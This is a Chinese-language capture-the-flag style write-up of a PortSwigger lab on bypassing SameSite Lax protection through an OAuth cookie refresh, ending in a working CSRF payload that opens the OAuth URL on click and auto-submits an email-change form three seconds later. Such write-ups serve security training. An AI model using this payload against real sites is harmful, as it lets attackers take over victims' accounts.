从业者-SameSite Lax绕过-Cookie刷新

# 实验室：SameSite Lax绕过-Cookie刷新

# 题目

此实验室的电子邮件更改功能容易受到 CSRF 的攻击。若要解决实验室问题，请使用漏洞利用服务器托管一个 HTML 页面，该页面使用 CSRF 攻击来更改查看者的电子邮件地址。

此实验室支持基于 OAuth 的登录。你可以使用以下凭据登录到自己的社交媒体帐户：wiener:peter

笔记

默认的 SameSite 限制因浏览器而异。由于受害者使用 Chrome，我们建议你也使用 Chrome（或 Burp 内置的 Chromium 浏览器）来测试你的漏洞。

提示

你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间更改了自己的电子邮件地址，请你确保——向受害者发送的最终漏洞利用中，应包含不同的电子邮件地址。
浏览器会阻止打开弹出的窗口，除非它们是由手动用户交互（例如单击）触发的。受害用户将会模拟单击你发送的任何页面，因此你可以使用全局事件处理程序创建弹出窗口，如下所示：

<script>
    window.onclick = () => {
        window.open('about:blank')
    }
</script>

1
2
3
4
5

实验室-从业者

SameSite Lax绕过-Cookie刷新 >>

- name: 实验室-从业者
  desc: SameSite Lax绕过-Cookie刷新 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-cookie-refresh
  bgColor: '#001350'
  textColor: '#4cc1ff'

1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

一个博客站点。

点击 “My account” 之后会短暂访问/social-login，该页面会检查你是否已经登录。如果已经登录，则跳转至登录成功界面。如果未登录，则跳转至登录界面

登录界面位于另一个域，是 SSO 系统。

输入题目中提供的用户名和密码进行登录。

“欢迎来到博客，你可以访问个人账户和邮箱。点击 Continue 继续”

点击 “Continue” 之后，会重定向回到原来的域，并提示你登录成功。

又要点一个 “Continue”。

点击第二个 “Continue” 之后会重定向至首页，然后你可以访问账户页面。

捕获一个更改邮箱的请求数据包，可以看到没有任何的 CSRF 防护。

通过该数据包生成一个 CSRF PoC：

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://<目标站点>/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="j&#64;k&#46;l" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13

将载荷保存至漏洞利用服务器后，我访问测试了一下。

发现攻击失败，重定向到了登录检查页面。

查看产生的请求数据包，共有三个。

第一个数据包是访问漏洞利用服务器，触发 CSRF 载荷。

第二个数据包是更改受害用户的邮件地址，可以看到，其中不包含任何 Cookie。因为该请求是由攻击者的域触发的，被视为跨域请求，受到了 SameSite 策略的限制。

但在测试的过程中，正如学习路径中所说的，有一个 2 分钟的窗口期。如果你在登录后的 2 分钟之内发起攻击，则在第二个数据包中会包含 Cookie，攻击将会成功。

第三个数据包，重定向至登录检查页面。

在单独访问登录检查页面时，发现会返回一个新的会话 Cookie，并且依然会保持登录状态，不会自动退出。

每次的 Cookie 都不一样，这应该就是题目中所说的 Cookie 刷新了。每当你获得一个新的 Cookie 时，都会重置 SameSite 策略的 2 分钟窗口期。

在发起攻击时，你可以先让受害用户访问该页面，以刷新它们的 Cookie 并重置窗口期，使他们的 SameSite 策略失效。

经过进一步的测试，发现访问登录检查页面时会进行重定向。

重定向到以下链接后才会真正刷新 Cookie：

https://oauth-<目标SSO站点>/auth?client_id=ht3nwp1xay2ofe297hsts&redirect_uri=https://<目标站点>/oauth-callback&response_type=code&scope=openid%20profile%20email

真正用于刷新 Cookie 的请求：

根据题目中的提示，通过window.onclick事件，将这个会导致 Cookie 刷新的 URL 链接包含在window.open函数中，在执行 CSRF 攻击之前先使受害用户打开一个新窗口，以刷新他们的 Cookie 并重置窗口期：

<script>
    window.onclick = () => {
        window.open('https://oauth-<目标SSO站点>/auth?client_id=ht3nwp1xay2ofe297hsts&redirect_uri=https://<目标站点>/oauth-callback&response_type=code&scope=openid%20profile%20email')
    }
</script>

1
2
3
4
5

与 CSRF 载荷结合：

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://<目标站点>/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="j&#64;k&#46;l" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      window.onclick = () => {
        window.open('https://oauth-<目标SSO站点>/auth?client_id=ht3nwp1xay2ofe297hsts&redirect_uri=https://<目标站点>/oauth-callback&response_type=code&scope=openid%20profile%20email');
        function a(){document.forms[0].submit()}
        setTimeout(a, 3000);
      }
    </script>
  </body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

以上载荷将原有的 CSRF 代码history.pushState('', '', '/');去除了，因为会干扰攻击过程。

这里还通过setTimeout()函数设置了延时 3 秒钟才进行 CSRF 攻击，确保受害用户有足够的时间打开新窗口并重载 Cookie。

以下动图演示了完整的攻击过程：

访问漏洞利用 URL 之后，需要单击页面以触发事件，然后会打开新窗口重载用户的 Cookie
打开窗口的 3 秒之后会执行 CSRF 攻击

将载荷发送给受害用户，等待几秒钟后，实验完成。

编辑

← 从业者-SameSite Strict绕过-易受攻击的同级域从业者-CSRF-Referer验证取决于标头是否存在→